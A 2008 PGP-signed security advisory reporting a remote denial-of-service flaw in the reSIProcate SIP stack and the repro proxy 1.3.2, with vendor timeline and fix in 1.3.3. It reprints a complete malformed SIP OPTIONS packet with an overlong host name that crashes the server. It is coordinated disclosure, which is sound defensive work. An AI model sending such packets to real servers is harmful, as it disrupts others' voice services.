-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Remote DoS in reSIProcate [MU-200807-01] July 10, 2008 http://labs.mudynamics.com/advisories.html Affected Products/Versions: * repro SIP proxy/registrar 1.3.2 http://www.resiprocate.org/ReSIProcate_1.3.2_Release * Any product using the reSIProcate SIP stack 1.3.2 may also be vulnerable. Product Overview: http://www.resiprocate.org/ reSIProcate is a SIP stack. SIP is a protocol used for voice-over-IP telephony. repro is a SIP proxy/registrar that uses the reSIProcate SIP stack. Vulnerability Details: A malformed INVITE or OPTIONS message to the repro SIP proxy/registrar can crash the process. The crash is caused by an assertion failure that occurs when the domain name in the request line URI is too long (rutil/dns/DnsStub.cxx, line 493). For example, the URI may be "sip:bob@example.comAAAAAAA...", where "sip:bob@example.com" is followed by 256 As. To cause the crash, the address in the To header must be a valid target address. Example invalid packet: OPTIONS sip:bob@example.comAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA SIP/2.0 Via: SIP/2.0/UDP 127.0.0.1:54422;branch=z9hG4bKZqPsHMEiem;rport To: "Bob" <sip:bob@example.com> From: "Alice" <sip:alice@example.com>;tag=W4eHvLYEQX Call-ID: nO1DpTVfo4@mudynamics.com CSeq: 1 OPTIONS Contact: <sip:alice@127.0.0.1:54422> Max-Forwards: 70 Content-Length: 0 Vendor Response / Solution: Update to 1.3.3, available from https://www.resiprocate.org/files/pub/reSIProcate/releases/ This bug was also fixed by the reSIProcate development team in SVN on April 23 (revision 7628). History: July 1, 2008 - First contact with vendor July 1, 2008 - Vendor acknowledges vulnerability July 3, 2008 - Vendor releases 1.3.3 July 10, 2008 - Advisory released Mu-4000 vector: *.request-line.line.dsv.uri.body.string.append-overflow Credit: This vulnerability was discovered by the Mu Dynamics research team. http://labs.mudynamics.com/pgpkey.txt Mu Dynamics offers a new class of security analysis system, delivering a rigorous and streamlined methodology for verifying the robustness and security readiness of any IP-based product or application. Founded by the pioneers of intrusion detection and prevention technology, Mu Dynamics is backed by preeminent venture capital firms that include Accel Partners, Benchmark Capital and DAG Ventures. The company is headquartered in Sunnyvale, CA. For more information, visit the company's website at http://www.mudynamics.com. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.7 (Darwin) iD8DBQFIdqOZQLdDlEyOXHQRAvt+AJsHGgqEVoiQi0Nb7ND9CR7HteZJpgCeMgKv 5lqpYSLdj7WBeXoD4l95+WA= =KUQC -----END PGP SIGNATURE-----